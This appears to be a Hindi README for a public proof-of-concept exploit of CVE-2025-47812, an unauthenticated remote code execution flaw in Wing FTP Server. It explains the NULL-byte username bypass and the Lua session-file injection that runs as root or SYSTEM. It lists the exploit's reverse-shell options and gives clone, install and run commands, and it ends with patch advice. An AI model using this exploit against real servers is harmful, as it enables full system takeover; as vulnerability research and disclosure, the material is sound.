
CVE-2025-47812 के लिए एक्सप्लॉइट, कस्टम स्यूडो शेल और मजबूत त्रुटि प्रबंधन के साथ।
CVE-2025-47812 अनुचित इनपुट सत्यापन के कारण पूर्ण सिस्टम समझौते तक रिमोट कोड निष्पादन
RCE Security के Julien Ahrens ने WingFTP को प्रभावित करने वाली एक गंभीर सुरक्षा भेद्यता की खोज की। CVE-2025-47812 के रूप में ट्रैक की गई, इस भेद्यता का CVSS स्कोर 10 है। भेद्यता का सफल शोषण एक दूरस्थ अनधिकृत हमलावर को मनमाना कोड निष्पादित करने की अनुमति दे सकता है, जिससे पूर्ण सिस्टम समझौता हो सकता है।
Wing FTP Server क्रॉस-प्लेटफ़ॉर्म, उपयोगकर्ता-अनुकूल और सुरक्षित FTP सर्वर सॉफ़्टवेयर है। यह FTP, FTPS, HTTP, HTTPS और SFTP जैसे कई फ़ाइल ट्रांसफर प्रोटोकॉल का समर्थन करता है, जो क्लाइंट कनेक्शन के लिए लचीलापन प्रदान करता है।
CVE-2025-47812 पर शोध करने के लिए, मैंने एक Linux होस्ट पर Wing FTP Server 7.4.3 चलाने वाला एक Docker कंटेनर तैनात किया। कंटेनर को वेब इंटरफ़ेस उजागर करने के लिए कॉन्फ़िगर किया गया था, और मैंने आसान अनधिकृत परीक्षण के लिए अनाम लॉगिन सक्षम किया। इसके अतिरिक्त, प्रमाणित परिदृश्यों का अनुकरण करने के लिए एक परीक्षण उपयोगकर्ता खाता (dev-test:test) बनाया गया था। इस सेटअप ने भेद्यता को पुन: उत्पन्न करने और शोषण व्यवहार को मान्य करने के लिए एक सुरक्षित और नियंत्रित वातावरण प्रदान किया।
CVE ID: CVE-2025-47812
CVSS v3.1 Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
आधार स्कोर: 10.0 (गंभीर)
प्रभावित सॉफ़्टवेयर: <= 7.4.3
प्रभाव: रिमोट कोड निष्पादन से पूर्ण सिस्टम समझौता।
शोषण पूर्वापेक्षाएँ:
अनाम लॉगिन की अनुमति या मान्य उपयोगकर्ता क्रेडेंशियल
उपयोगकर्ता के लिए sudo अनुमतियाँ आवश्यक नहीं
जब कोई उपयोगकर्ता लॉगिन करने का प्रयास करता है, तो यह c_CheckUser कॉल को कॉल करता है जो हमेशा OK_CHECK_CONNECTION लौटाता है, चाहे उपयोगकर्ता नाम में NULL बाइट के बाद कुछ भी आए, जब तक कि NULL बाइट से पहले की स्ट्रिंग किसी मौजूदा उपयोगकर्ता से मेल खाती है। एक हमलावर पासवर्ड जाँच को बायपास करने के लिए ज्ञात उपयोगकर्ता नाम में NULL बाइट और अतिरिक्त मान जोड़कर भेद्यता का शोषण कर सकता है। सिस्टम स्ट्रिंग का आकार प्राप्त करने के लिए हमारे उपयोगकर्ता नाम पर strlen() का उपयोग करता है, लेकिन strlen केवल तब तक के सभी वर्णों की गणना करता है जब तक कि यह NULL-बाइट टर्मिनेटर तक नहीं पहुँचता, ताकि अनसैनिटाइज़्ड उपयोगकर्ता नाम से मेल खा सके।
अनसैनिटाइज़्ड उपयोगकर्ता नाम (इंजेक्ट किए गए NULL और brainy payload सहित) सीधे Lua कोड के रूप में सत्र फ़ाइलों में संग्रहीत किया जाता है। ये सत्र फ़ाइलें .lua जैसी होती हैं और बाद में सत्र लोड होने पर निष्पादित की जाती हैं। Linux पर, Wing FTP सर्वर root के रूप में चलता है; Windows पर, यह SYSTEM के रूप में चलता है। इंजेक्ट किया गया Lua पेलोड सत्र पुनः लोड होने पर पूर्ण विशेषाधिकारों के साथ चलता है।
नोट: यह व्यवहार केवल तभी होता है जब पासवर्ड सेट नहीं होता है या मान्य क्रेडेंशियल के साथ होता है। यदि उपयोगकर्ता के लिए पासवर्ड सेट है, तो यह कुछ सख्त पासवर्ड सत्यापन लागू करता है।
Options:
-t, --target Target Wing FTP Server URL (e.g., http://192.168.1.100)
-u, --username Username to authenticate (default: anonymous)
-p, --password Password to authenticate (default: empty)
-lh, --lhost Local host to listen for reverse shell (default: 127.0.0.1)
-lp, --lport Local port to listen for reverse shell (default: 31337)
-ns, --no-shell To specify the exploit to not span a temp shell. (Note if it set should manually set listener)
-v, --verbose Enable verbose/debug output
-h, --help Show this help message and exit
git clone https://github.com/pevinkumar10/CVE-2025-47812
cd CVE-2025-47812
pip3 install -r requirements.txt
CVE-2025-47812 - Wing FTP Server अनधिकृत RCE
CVE-2025-47812 - Wing FTP Server प्रमाणित RCE (dev-test:test)
उपयोग उदाहरण:
python3 exploit.py --target http://172.17.0.2 --lhost 172.17.0.1 -lport 31336
उपयोगकर्ताओं को भेद्यता को पैच करने के लिए WingFTP संस्करण 7.4.4 में अपग्रेड करना होगा।
अधिक जानकारी के लिए कृपया WingFTP रिलीज़ नोट्स देखें।
नोट: मैंने उपरोक्त संदर्भ का उपयोग शोध उद्देश्य के लिए किया और शोषण को अधिक सुविधाओं और मजबूत त्रुटि प्रबंधन के साथ अपडेट किया।
यह Python PoC MIT लाइसेंस के तहत जारी किया गया है। मूल शोषण अवधारणा और प्रकटीकरण का श्रेय Stratascale Cyber Research Unit को जाता है।